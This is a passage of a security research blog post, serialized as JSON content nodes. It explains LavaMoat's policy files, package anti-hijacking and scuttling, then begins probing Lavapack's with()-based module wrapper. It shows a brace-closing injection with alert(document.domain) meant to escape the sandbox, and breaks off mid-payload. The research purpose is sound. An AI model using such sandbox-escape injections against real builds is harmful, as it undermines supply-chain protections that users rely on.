deployment.",{"type":24,"tag":101,"props":54762,"children":54763},{},[54764,54771],{"type":24,"tag":32,"props":54765,"children":54768},{"href":54766,"rel":54767},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[36],[54769],{"type":29,"value":54770},"NodeJS Lavamoat",{"type":29,"value":54772}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":24,"tag":101,"props":54774,"children":54775},{},[54776,54783],{"type":24,"tag":32,"props":54777,"children":54780},{"href":54778,"rel":54779},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[36],[54781],{"type":29,"value":54782},"Lavamoat allow-scripts",{"type":29,"value":54784}," are used to prevent malicious code execution on lifecycle scripts.",{"type":24,"tag":85,"props":54786,"children":54788},{"id":54787},"lavamoats-security-features",[54789],{"type":29,"value":54790},"Lavamoat's Security Features",{"type":24,"tag":25,"props":54792,"children":54793},{},[54794,54796,54804],{"type":29,"value":54795},"The three most important features of Lavamoat",{"type":24,"tag":23171,"props":54797,"children":54798},{},[54799],{"type":24,"tag":32,"props":54800,"children":54802},{"href":37298,"ariaDescribedBy":54801,"dataFootnoteRef":7,"id":37300},[23178],[54803],{"type":29,"value":156},{"type":29,"value":54805}," are:",{"type":24,"tag":97,"props":54807,"children":54808},{},[54809,54814,54819],{"type":24,"tag":101,"props":54810,"children":54811},{},[54812],{"type":29,"value":54813},"Policy Files",{"type":24,"tag":101,"props":54815,"children":54816},{},[54817],{"type":29,"value":54818},"NPM Anti Hijacking",{"type":24,"tag":101,"props":54820,"children":54821},{},[54822],{"type":29,"value":54823},"Scuttling",{"type":24,"tag":25,"props":54825,"children":54826},{},[54827],{"type":29,"value":54828},"Let's go over them one by one.",{"type":24,"tag":26585,"props":54830,"children":54832},{"id":54831},"policy-files",[54833],{"type":29,"value":54813},{"type":24,"tag":25,"props":54835,"children":54836},{},[54837],{"type":29,"value":54838},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":24,"tag":25,"props":54840,"children":54841},{},[54842,54844,54851],{"type":29,"value":54843},"For example, take the ",{"type":24,"tag":32,"props":54845,"children":54848},{"href":54846,"rel":54847},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[36],[54849],{"type":29,"value":54850},"Metamask Snap policy file",{"type":29,"value":12210},{"type":24,"tag":261,"props":54853,"children":54855},{"className":39038,"code":54854,"language":39040,"meta":7,"style":7}," \"@metamask/providers\": {\n \"globals\": {\n \"Event\": true,\n \"addEventListener\": true,\n \"chrome.runtime.connect\": true,\n \"console\": true,\n \"dispatchEvent\": true,\n \"document.createElement\": true,\n \"document.readyState\": true,\n \"ethereum\": \"write\",\n \"location.hostname\": true,\n \"removeEventListener\": true,\n \"web3\": true\n },\n \"packages\": {\n \"@metamask/object-multiplex\": true,\n \"@metamask/providers>@metamask/safe-event-emitter\": true\n",[54856],{"type":24,"tag":135,"props":54857,"children":54858},{"__ignoreMap":7},[54859,54871,54886,54906,54925,54945,54965,54985,55005,55025,55046,55066,55085,55101,55108,55123,55143],{"type":24,"tag":271,"props":54860,"children":54861},{"class":273,"line":274},[54862,54867],{"type":24,"tag":271,"props":54863,"children":54864},{"style":378},[54865],{"type":29,"value":54866}," \"@metamask/providers\"",{"type":24,"tag":271,"props":54868,"children":54869},{"style":288},[54870],{"type":29,"value":44690},{"type":24,"tag":271,"props":54872,"children":54873},{"class":273,"line":284},[54874,54878,54882],{"type":24,"tag":271,"props":54875,"children":54876},{"style":378},[54877],{"type":29,"value":44698},{"type":24,"tag":271,"props":54879,"children":54880},{"style":630},[54881],{"type":29,"value":12210},{"type":24,"tag":271,"props":54883,"children":54884},{"style":288},[54885],{"type":29,"value":7145},{"type":24,"tag":271,"props":54887,"children":54888},{"class":273,"line":294},[54889,54894,54898,54902],{"type":24,"tag":271,"props":54890,"children":54891},{"style":378},[54892],{"type":29,"value":54893}," \"Event\"",{"type":24,"tag":271,"props":54895,"children":54896},{"style":630},[54897],{"type":29,"value":12210},{"type":24,"tag":271,"props":54899,"children":54900},{"style":278},[54901],{"type":29,"value":1717},{"type":24,"tag":271,"props":54903,"children":54904},{"style":288},[54905],{"type":29,"value":638},{"type":24,"tag":271,"props":54907,"children":54908},{"class":273,"line":303},[54909,54913,54917,54921],{"type":24,"tag":271,"props":54910,"children":54911},{"style":378},[54912],{"type":29,"value":44750},{"type":24,"tag":271,"props":54914,"children":54915},{"style":630},[54916],{"type":29,"value":12210},{"type":24,"tag":271,"props":54918,"children":54919},{"style":278},[54920],{"type":29,"value":1717},{"type":24,"tag":271,"props":54922,"children":54923},{"style":288},[54924],{"type":29,"value":638},{"type":24,"tag":271,"props":54926,"children":54927},{"class":273,"line":312},[54928,54933,54937,54941],{"type":24,"tag":271,"props":54929,"children":54930},{"style":378},[54931],{"type":29,"value":54932}," \"chrome.runtime.connect\"",{"type":24,"tag":271,"props":54934,"children":54935},{"style":630},[54936],{"type":29,"value":12210},{"type":24,"tag":271,"props":54938,"children":54939},{"style":278},[54940],{"type":29,"value":1717},{"type":24,"tag":271,"props":54942,"children":54943},{"style":288},[54944],{"type":29,"value":638},{"type":24,"tag":271,"props":54946,"children":54947},{"class":273,"line":321},[54948,54953,54957,54961],{"type":24,"tag":271,"props":54949,"children":54950},{"style":378},[54951],{"type":29,"value":54952}," \"console\"",{"type":24,"tag":271,"props":54954,"children":54955},{"style":630},[54956],{"type":29,"value":12210},{"type":24,"tag":271,"props":54958,"children":54959},{"style":278},[54960],{"type":29,"value":1717},{"type":24,"tag":271,"props":54962,"children":54963},{"style":288},[54964],{"type":29,"value":638},{"type":24,"tag":271,"props":54966,"children":54967},{"class":273,"line":330},[54968,54973,54977,54981],{"type":24,"tag":271,"props":54969,"children":54970},{"style":378},[54971],{"type":29,"value":54972}," \"dispatchEvent\"",{"type":24,"tag":271,"props":54974,"children":54975},{"style":630},[54976],{"type":29,"value":12210},{"type":24,"tag":271,"props":54978,"children":54979},{"style":278},[54980],{"type":29,"value":1717},{"type":24,"tag":271,"props":54982,"children":54983},{"style":288},[54984],{"type":29,"value":638},{"type":24,"tag":271,"props":54986,"children":54987},{"class":273,"line":339},[54988,54993,54997,55001],{"type":24,"tag":271,"props":54989,"children":54990},{"style":378},[54991],{"type":29,"value":54992}," \"document.createElement\"",{"type":24,"tag":271,"props":54994,"children":54995},{"style":630},[54996],{"type":29,"value":12210},{"type":24,"tag":271,"props":54998,"children":54999},{"style":278},[55000],{"type":29,"value":1717},{"type":24,"tag":271,"props":55002,"children":55003},{"style":288},[55004],{"type":29,"value":638},{"type":24,"tag":271,"props":55006,"children":55007},{"class":273,"line":347},[55008,55013,55017,55021],{"type":24,"tag":271,"props":55009,"children":55010},{"style":378},[55011],{"type":29,"value":55012}," \"document.readyState\"",{"type":24,"tag":271,"props":55014,"children":55015},{"style":630},[55016],{"type":29,"value":12210},{"type":24,"tag":271,"props":55018,"children":55019},{"style":278},[55020],{"type":29,"value":1717},{"type":24,"tag":271,"props":55022,"children":55023},{"style":288},[55024],{"type":29,"value":638},{"type":24,"tag":271,"props":55026,"children":55027},{"class":273,"line":356},[55028,55033,55037,55042],{"type":24,"tag":271,"props":55029,"children":55030},{"style":378},[55031],{"type":29,"value":55032}," \"ethereum\"",{"type":24,"tag":271,"props":55034,"children":55035},{"style":630},[55036],{"type":29,"value":12210},{"type":24,"tag":271,"props":55038,"children":55039},{"style":378},[55040],{"type":29,"value":55041}," \"write\"",{"type":24,"tag":271,"props":55043,"children":55044},{"style":288},[55045],{"type":29,"value":638},{"type":24,"tag":271,"props":55047,"children":55048},{"class":273,"line":365},[55049,55054,55058,55062],{"type":24,"tag":271,"props":55050,"children":55051},{"style":378},[55052],{"type":29,"value":55053}," \"location.hostname\"",{"type":24,"tag":271,"props":55055,"children":55056},{"style":630},[55057],{"type":29,"value":12210},{"type":24,"tag":271,"props":55059,"children":55060},{"style":278},[55061],{"type":29,"value":1717},{"type":24,"tag":271,"props":55063,"children":55064},{"style":288},[55065],{"type":29,"value":638},{"type":24,"tag":271,"props":55067,"children":55068},{"class":273,"line":374},[55069,55073,55077,55081],{"type":24,"tag":271,"props":55070,"children":55071},{"style":378},[55072],{"type":29,"value":44850},{"type":24,"tag":271,"props":55074,"children":55075},{"style":630},[55076],{"type":29,"value":12210},{"type":24,"tag":271,"props":55078,"children":55079},{"style":278},[55080],{"type":29,"value":1717},{"type":24,"tag":271,"props":55082,"children":55083},{"style":288},[55084],{"type":29,"value":638},{"type":24,"tag":271,"props":55086,"children":55087},{"class":273,"line":384},[55088,55093,55097],{"type":24,"tag":271,"props":55089,"children":55090},{"style":378},[55091],{"type":29,"value":55092}," \"web3\"",{"type":24,"tag":271,"props":55094,"children":55095},{"style":630},[55096],{"type":29,"value":12210},{"type":24,"tag":271,"props":55098,"children":55099},{"style":278},[55100],{"type":29,"value":54215},{"type":24,"tag":271,"props":55102,"children":55103},{"class":273,"line":393},[55104],{"type":24,"tag":271,"props":55105,"children":55106},{"style":288},[55107],{"type":29,"value":44867},{"type":24,"tag":271,"props":55109,"children":55110},{"class":273,"line":402},[55111,55115,55119],{"type":24,"tag":271,"props":55112,"children":55113},{"style":378},[55114],{"type":29,"value":44875},{"type":24,"tag":271,"props":55116,"children":55117},{"style":630},[55118],{"type":29,"value":12210},{"type":24,"tag":271,"props":55120,"children":55121},{"style":288},[55122],{"type":29,"value":7145},{"type":24,"tag":271,"props":55124,"children":55125},{"class":273,"line":411},[55126,55131,55135,55139],{"type":24,"tag":271,"props":55127,"children":55128},{"style":378},[55129],{"type":29,"value":55130}," \"@metamask/object-multiplex\"",{"type":24,"tag":271,"props":55132,"children":55133},{"style":630},[55134],{"type":29,"value":12210},{"type":24,"tag":271,"props":55136,"children":55137},{"style":278},[55138],{"type":29,"value":1717},{"type":24,"tag":271,"props":55140,"children":55141},{"style":288},[55142],{"type":29,"value":638},{"type":24,"tag":271,"props":55144,"children":55145},{"class":273,"line":420},[55146,55151,55155],{"type":24,"tag":271,"props":55147,"children":55148},{"style":378},[55149],{"type":29,"value":55150}," \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":24,"tag":271,"props":55152,"children":55153},{"style":630},[55154],{"type":29,"value":12210},{"type":24,"tag":271,"props":55156,"children":55157},{"style":278},[55158],{"type":29,"value":54215},{"type":24,"tag":25,"props":55160,"children":55161},{},[55162,55163,55168,55170,55175,55177,55183],{"type":29,"value":1422},{"type":24,"tag":135,"props":55164,"children":55166},{"className":55165},[],[55167],{"type":29,"value":44940},{"type":29,"value":55169}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":24,"tag":135,"props":55171,"children":55173},{"className":55172},[],[55174],{"type":29,"value":44948},{"type":29,"value":55176}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how ",{"type":24,"tag":135,"props":55178,"children":55180},{"className":55179},[],[55181],{"type":29,"value":55182},"@metamask/providers",{"type":29,"value":55184}," interacts with other packages.",{"type":24,"tag":25,"props":55186,"children":55187},{},[55188,55190,55196],{"type":29,"value":55189},"To enforce these policies, LavaMoat uses ",{"type":24,"tag":135,"props":55191,"children":55193},{"className":55192},[],[55194],{"type":29,"value":55195},"lavapack",{"type":29,"value":55197},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":24,"tag":26585,"props":55199,"children":55201},{"id":55200},"npm-anti-hijacking",[55202],{"type":29,"value":54818},{"type":24,"tag":25,"props":55204,"children":55205},{},[55206],{"type":29,"value":55207},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a popular, trusted package.",{"type":24,"tag":25,"props":55209,"children":55210},{},[55211,55213,55220],{"type":29,"value":55212},"Instead, Lavamoat looks at how each package is connected by ",{"type":24,"tag":32,"props":55214,"children":55217},{"href":55215,"rel":55216},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[36],[55218],{"type":29,"value":55219},"walking the modules",{"type":29,"value":55221}," in a project's dependency tree, thus generating a unique name for each package.",{"type":24,"tag":26585,"props":55223,"children":55225},{"id":55224},"scuttling",[55226],{"type":29,"value":54823},{"type":24,"tag":25,"props":55228,"children":55229},{},[55230,55232,55238],{"type":29,"value":55231},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real ",{"type":24,"tag":135,"props":55233,"children":55235},{"className":55234},[],[55236],{"type":29,"value":55237},"GlobalThis",{"type":29,"value":55239}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":24,"tag":25,"props":55241,"children":55242},{},[55243,55245,55252],{"type":29,"value":55244},"For example, ",{"type":24,"tag":32,"props":55246,"children":55249},{"href":55247,"rel":55248},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[36],[55250],{"type":29,"value":55251},"here",{"type":29,"value":55253}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":24,"tag":261,"props":55255,"children":55257},{"className":39038,"code":55256,"language":39040,"meta":7,"style":7}," if (scuttleOpts.enabled) {\n if (!Array.isArray(scuttleOpts.exceptions)) {\n throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n }\n scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n }\n",[55258],{"type":24,"tag":135,"props":55259,"children":55260},{"__ignoreMap":7},[55261,55290,55340,55399,55406,55478],{"type":24,"tag":271,"props":55262,"children":55263},{"class":273,"line":274},[55264,55268,55272,55277,55281,55286],{"type":24,"tag":271,"props":55265,"children":55266},{"style":749},[55267],{"type":29,"value":5025},{"type":24,"tag":271,"props":55269,"children":55270},{"style":288},[55271],{"type":29,"value":1357},{"type":24,"tag":271,"props":55273,"children":55274},{"style":630},[55275],{"type":29,"value":55276},"scuttleOpts",{"type":24,"tag":271,"props":55278,"children":55279},{"style":288},[55280],{"type":29,"value":41},{"type":24,"tag":271,"props":55282,"children":55283},{"style":630},[55284],{"type":29,"value":55285},"enabled",{"type":24,"tag":271,"props":55287,"children":55288},{"style":288},[55289],{"type":29,"value":919},{"type":24,"tag":271,"props":55291,"children":55292},{"class":273,"line":284},[55293,55297,55301,55305,55310,55314,55319,55323,55327,55331,55336],{"type":24,"tag":271,"props":55294,"children":55295},{"style":749},[55296],{"type":29,"value":46954},{"type":24,"tag":271,"props":55298,"children":55299},{"style":288},[55300],{"type":29,"value":1357},{"type":24,"tag":271,"props":55302,"children":55303},{"style":624},[55304],{"type":29,"value":1818},{"type":24,"tag":271,"props":55306,"children":55307},{"style":630},[55308],{"type":29,"value":55309},"Array",{"type":24,"tag":271,"props":55311,"children":55312},{"style":288},[55313],{"type":29,"value":41},{"type":24,"tag":271,"props":55315,"children":55316},{"style":598},[55317],{"type":29,"value":55318},"isArray",{"type":24,"tag":271,"props":55320,"children":55321},{"style":288},[55322],{"type":29,"value":606},{"type":24,"tag":271,"props":55324,"children":55325},{"style":630},[55326],{"type":29,"value":55276},{"type":24,"tag":271,"props":55328,"children":55329},{"style":288},[55330],{"type":29,"value":41},{"type":24,"tag":271,"props":55332,"children":55333},{"style":630},[55334],{"type":29,"value":55335},"exceptions",{"type":24,"tag":271,"props":55337,"children":55338},{"style":288},[55339],{"type":29,"value":2317},{"type":24,"tag":271,"props":55341,"children":55342},{"class":273,"line":294},[55343,55348,55352,55356,55360,55365,55369,55373,55378,55382,55386,55390,55395],{"type":24,"tag":271,"props":55344,"children":55345},{"style":749},[55346],{"type":29,"value":55347}," throw",{"type":24,"tag":271,"props":55349,"children":55350},{"style":278},[55351],{"type":29,"value":39603},{"type":24,"tag":271,"props":55353,"children":55354},{"style":598},[55355],{"type":29,"value":47951},{"type":24,"tag":271,"props":55357,"children":55358},{"style":288},[55359],{"type":29,"value":606},{"type":24,"tag":271,"props":55361,"children":55362},{"style":378},[55363],{"type":29,"value":55364},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":24,"tag":271,"props":55366,"children":55367},{"style":278},[55368],{"type":29,"value":41777},{"type":24,"tag":271,"props":55370,"children":55371},{"style":278},[55372],{"type":29,"value":39077},{"type":24,"tag":271,"props":55374,"children":55375},{"style":630},[55376],{"type":29,"value":55377}," scuttleOpts",{"type":24,"tag":271,"props":55379,"children":55380},{"style":624},[55381],{"type":29,"value":41},{"type":24,"tag":271,"props":55383,"children":55384},{"style":630},[55385],{"type":29,"value":55335},{"type":24,"tag":271,"props":55387,"children":55388},{"style":278},[55389],{"type":29,"value":41809},{"type":24,"tag":271,"props":55391,"children":55392},{"style":378},[55393],{"type":29,"value":55394},"\"`",{"type":24,"tag":271,"props":55396,"children":55397},{"style":288},[55398],{"type":29,"value":694},{"type":24,"tag":271,"props":55400,"children":55401},{"class":273,"line":303},[55402],{"type":24,"tag":271,"props":55403,"children":55404},{"style":288},[55405],{"type":29,"value":20365},{"type":24,"tag":271,"props":55407,"children":55408},{"class":273,"line":312},[55409,55414,55418,55423,55427,55432,55436,55441,55445,55450,55454,55458,55462,55466,55470,55474],{"type":24,"tag":271,"props":55410,"children":55411},{"style":630},[55412],{"type":29,"value":55413}," scuttleOpts",{"type":24,"tag":271,"props":55415,"children":55416},{"style":288},[55417],{"type":29,"value":41},{"type":24,"tag":271,"props":55419,"children":55420},{"style":598},[55421],{"type":29,"value":55422},"scuttlerFunc",{"type":24,"tag":271,"props":55424,"children":55425},{"style":288},[55426],{"type":29,"value":606},{"type":24,"tag":271,"props":55428,"children":55429},{"style":630},[55430],{"type":29,"value":55431},"globalRef",{"type":24,"tag":271,"props":55433,"children":55434},{"style":288},[55435],{"type":29,"value":158},{"type":24,"tag":271,"props":55437,"children":55438},{"style":630},[55439],{"type":29,"value":55440},"realm",{"type":24,"tag":271,"props":55442,"children":55443},{"style":278},[55444],{"type":29,"value":35429},{"type":24,"tag":271,"props":55446,"children":55447},{"style":598},[55448],{"type":29,"value":55449}," performScuttleGlobalThis",{"type":24,"tag":271,"props":55451,"children":55452},{"style":288},[55453],{"type":29,"value":606},{"type":24,"tag":271,"props":55455,"children":55456},{"style":630},[55457],{"type":29,"value":55440},{"type":24,"tag":271,"props":55459,"children":55460},{"style":288},[55461],{"type":29,"value":158},{"type":24,"tag":271,"props":55463,"children":55464},{"style":630},[55465],{"type":29,"value":55276},{"type":24,"tag":271,"props":55467,"children":55468},{"style":288},[55469],{"type":29,"value":41},{"type":24,"tag":271,"props":55471,"children":55472},{"style":630},[55473],{"type":29,"value":55335},{"type":24,"tag":271,"props":55475,"children":55476},{"style":288},[55477],{"type":29,"value":27401},{"type":24,"tag":271,"props":55479,"children":55480},{"class":273,"line":321},[55481],{"type":24,"tag":271,"props":55482,"children":55483},{"style":288},[55484],{"type":29,"value":4385},{"type":24,"tag":25,"props":55486,"children":55487},{},[55488,55490,55496,55498,55504],{"type":29,"value":55489},"Subsequently, the code defines a ",{"type":24,"tag":32,"props":55491,"children":55494},{"href":55492,"rel":55493},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[36],[55495],{"type":29,"value":39052},{"type":29,"value":55497}," called ",{"type":24,"tag":135,"props":55499,"children":55501},{"className":55500},[],[55502],{"type":29,"value":55503},"generateScuttleOpts",{"type":29,"value":55505}," that creates and returns an options object.",{"type":24,"tag":25,"props":55507,"children":55508},{},[55509,55511,55517,55518,55524,55526,55531,55533,55539],{"type":29,"value":55510},"Finally, the ",{"type":24,"tag":135,"props":55512,"children":55514},{"className":55513},[],[55515],{"type":29,"value":55516},"performScuttleGlobalThis",{"type":29,"value":3360},{"type":24,"tag":32,"props":55519,"children":55522},{"href":55520,"rel":55521},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[36],[55523],{"type":29,"value":39052},{"type":29,"value":55525}," modifies the properties of the global object (",{"type":24,"tag":135,"props":55527,"children":55529},{"className":55528},[],[55530],{"type":29,"value":55431},{"type":29,"value":55532},"). It starts by creating an array ",{"type":24,"tag":135,"props":55534,"children":55536},{"className":55535},[],[55537],{"type":29,"value":55538},"props",{"type":29,"value":55540},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":24,"tag":62,"props":55542,"children":55544},{"id":55543},"hacking-webpacks",[55545],{"type":29,"value":55546},"Hacking Webpacks",{"type":24,"tag":25,"props":55548,"children":55549},{},[55550],{"type":29,"value":55551},"Now let's get to the fun stuff.",{"type":24,"tag":25,"props":55553,"children":55554},{},[55555],{"type":29,"value":55556},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":24,"tag":261,"props":55558,"children":55560},{"className":39038,"code":55559,"language":39040,"meta":7,"style":7}," const filename = encodeURI(String(moduleData.file))\n let moduleWrapperSource\n if (bundleWithPrecompiledModules) {\n moduleWrapperSource = `function(){\n with (this.scopeTerminator) {\n with (this.globalThis) {\n return function() {\n 'use strict';\n // source: ${filename}\n return function (require, module, exports) {\n __MODULE_CONTENT__\n };\n };\n }\n }\n }`\n",[55561],{"type":24,"tag":135,"props":55562,"children":55563},{"__ignoreMap":7},[55564,55616,55628,55648,55665,55673,55681,55689,55697,55718,55726,55734,55742,55749,55756,55763],{"type":24,"tag":271,"props":55565,"children":55566},{"class":273,"line":274},[55567,55571,55576,55580,55585,55589,55594,55598,55603,55607,55612],{"type":24,"tag":271,"props":55568,"children":55569},{"style":278},[55570],{"type":29,"value":43856},{"type":24,"tag":271,"props":55572,"children":55573},{"style":630},[55574],{"type":29,"value":55575}," filename",{"type":24,"tag":271,"props":55577,"children":55578},{"style":624},[55579],{"type":29,"value":1712},{"type":24,"tag":271,"props":55581,"children":55582},{"style":598},[55583],{"type":29,"value":55584}," encodeURI",{"type":24,"tag":271,"props":55586,"children":55587},{"style":288},[55588],{"type":29,"value":606},{"type":24,"tag":271,"props":55590,"children":55591},{"style":598},[55592],{"type":29,"value":55593},"String",{"type":24,"tag":271,"props":55595,"children":55596},{"style":288},[55597],{"type":29,"value":606},{"type":24,"tag":271,"props":55599,"children":55600},{"style":630},[55601],{"type":29,"value":55602},"moduleData",{"type":24,"tag":271,"props":55604,"children":55605},{"style":288},[55606],{"type":29,"value":41},{"type":24,"tag":271,"props":55608,"children":55609},{"style":630},[55610],{"type":29,"value":55611},"file",{"type":24,"tag":271,"props":55613,"children":55614},{"style":288},[55615],{"type":29,"value":27401},{"type":24,"tag":271,"props":55617,"children":55618},{"class":273,"line":284},[55619,55623],{"type":24,"tag":271,"props":55620,"children":55621},{"style":278},[55622],{"type":29,"value":15571},{"type":24,"tag":271,"props":55624,"children":55625},{"style":630},[55626],{"type":29,"value":55627}," moduleWrapperSource\n",{"type":24,"tag":271,"props":55629,"children":55630},{"class":273,"line":294},[55631,55635,55639,55644],{"type":24,"tag":271,"props":55632,"children":55633},{"style":749},[55634],{"type":29,"value":956},{"type":24,"tag":271,"props":55636,"children":55637},{"style":288},[55638],{"type":29,"value":1357},{"type":24,"tag":271,"props":55640,"children":55641},{"style":630},[55642],{"type":29,"value":55643},"bundleWithPrecompiledModules",{"type":24,"tag":271,"props":55645,"children":55646},{"style":288},[55647],{"type":29,"value":919},{"type":24,"tag":271,"props":55649,"children":55650},{"class":273,"line":303},[55651,55656,55660],{"type":24,"tag":271,"props":55652,"children":55653},{"style":630},[55654],{"type":29,"value":55655}," moduleWrapperSource",{"type":24,"tag":271,"props":55657,"children":55658},{"style":624},[55659],{"type":29,"value":1712},{"type":24,"tag":271,"props":55661,"children":55662},{"style":378},[55663],{"type":29,"value":55664}," `function(){\n",{"type":24,"tag":271,"props":55666,"children":55667},{"class":273,"line":312},[55668],{"type":24,"tag":271,"props":55669,"children":55670},{"style":378},[55671],{"type":29,"value":55672}," with (this.scopeTerminator) {\n",{"type":24,"tag":271,"props":55674,"children":55675},{"class":273,"line":321},[55676],{"type":24,"tag":271,"props":55677,"children":55678},{"style":378},[55679],{"type":29,"value":55680}," with (this.globalThis) {\n",{"type":24,"tag":271,"props":55682,"children":55683},{"class":273,"line":330},[55684],{"type":24,"tag":271,"props":55685,"children":55686},{"style":378},[55687],{"type":29,"value":55688}," return function() {\n",{"type":24,"tag":271,"props":55690,"children":55691},{"class":273,"line":339},[55692],{"type":24,"tag":271,"props":55693,"children":55694},{"style":378},[55695],{"type":29,"value":55696}," 'use strict';\n",{"type":24,"tag":271,"props":55698,"children":55699},{"class":273,"line":347},[55700,55705,55709,55714],{"type":24,"tag":271,"props":55701,"children":55702},{"style":378},[55703],{"type":29,"value":55704}," // source: ",{"type":24,"tag":271,"props":55706,"children":55707},{"style":278},[55708],{"type":29,"value":41777},{"type":24,"tag":271,"props":55710,"children":55711},{"style":630},[55712],{"type":29,"value":55713},"filename",{"type":24,"tag":271,"props":55715,"children":55716},{"style":278},[55717],{"type":29,"value":1171},{"type":24,"tag":271,"props":55719,"children":55720},{"class":273,"line":356},[55721],{"type":24,"tag":271,"props":55722,"children":55723},{"style":378},[55724],{"type":29,"value":55725}," return function (require, module, exports) {\n",{"type":24,"tag":271,"props":55727,"children":55728},{"class":273,"line":365},[55729],{"type":24,"tag":271,"props":55730,"children":55731},{"style":378},[55732],{"type":29,"value":55733}," __MODULE_CONTENT__\n",{"type":24,"tag":271,"props":55735,"children":55736},{"class":273,"line":374},[55737],{"type":24,"tag":271,"props":55738,"children":55739},{"style":378},[55740],{"type":29,"value":55741}," };\n",{"type":24,"tag":271,"props":55743,"children":55744},{"class":273,"line":384},[55745],{"type":24,"tag":271,"props":55746,"children":55747},{"style":378},[55748],{"type":29,"value":16415},{"type":24,"tag":271,"props":55750,"children":55751},{"class":273,"line":393},[55752],{"type":24,"tag":271,"props":55753,"children":55754},{"style":378},[55755],{"type":29,"value":7574},{"type":24,"tag":271,"props":55757,"children":55758},{"class":273,"line":402},[55759],{"type":24,"tag":271,"props":55760,"children":55761},{"style":378},[55762],{"type":29,"value":20365},{"type":24,"tag":271,"props":55764,"children":55765},{"class":273,"line":411},[55766],{"type":24,"tag":271,"props":55767,"children":55768},{"style":378},[55769],{"type":29,"value":55770}," }`\n",{"type":24,"tag":25,"props":55772,"children":55773},{},[55774,55776,55782,55784,55790],{"type":29,"value":55775},"Lavapack uses ",{"type":24,"tag":135,"props":55777,"children":55779},{"className":55778},[],[55780],{"type":29,"value":55781},"with()",{"type":29,"value":55783}," proxies to restrict the objects accessible by the module, and ",{"type":24,"tag":135,"props":55785,"children":55787},{"className":55786},[],[55788],{"type":29,"value":55789},"__MODULE_CONTENT__",{"type":29,"value":55791}," is replaced by the content of a file required by the project being built.",{"type":24,"tag":85,"props":55793,"children":55795},{"id":55794},"injection-not-so-simple",[55796],{"type":29,"value":55797},"Injection? Not So Simple",{"type":24,"tag":25,"props":55799,"children":55800},{},[55801,55803,55808],{"type":29,"value":55802},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":24,"tag":135,"props":55804,"children":55806},{"className":55805},[],[55807],{"type":29,"value":20352},{"type":29,"value":55809}," environment:",{"type":24,"tag":261,"props":55811,"children":55813},{"className":39038,"code":55812,"language":39040,"meta":7,"style":7}," } // end function 1\n } // end function 2\n } // end with 1\n} // end with 2\n\nalert(document.domain)\n",[55814],{"type":24,"tag":135,"props":55815,"children":55816},{"__ignoreMap":7},[55817,55830,55842,55854,55866,55873],{"type":24,"tag":271,"props":55818,"children":55819},{"class":273,"line":274},[55820,55825],{"type":24,"tag":271,"props":55821,"children":55822},{"style":288},[55823],{"type":29,"value":55824}," } ",{"type":24,"tag":271,"props":55826,"children":55827},{"style":2058},[55828],{"type":29,"value":55829},"// end function 1\n",{"type":24,"tag":271,"props":55831,"children":55832},{"class":273,"line":284},[55833,55837],{"type":24,"tag":271,"props":55834,"children":55835},{"style":288},[55836],{"type":29,"value":39142},{"type":24,"tag":271,"props":55838,"children":55839},{"style":2058},[55840],{"type":29,"value":55841},"// end function 2\n",{"type":24,"tag":271,"props":55843,"children":55844},{"class":273,"line":294},[55845,55849],{"type":24,"tag":271,"props":55846,"children":55847},{"style":288},[55848],{"type":29,"value":43870},{"type":24,"tag":271,"props":55850,"children":55851},{"style":2058},[55852],{"type":29,"value":55853},"// end with 1\n",{"type":24,"tag":271,"props":55855,"children":55856},{"class":273,"line":303},[55857,55861],{"type":24,"tag":271,"props":55858,"children":55859},{"style":288},[55860],{"type":29,"value":54540},{"type":24,"tag":271,"props":55862,"children":55863},{"style":2058},[55864],{"type":29,"value":55865},"// end with 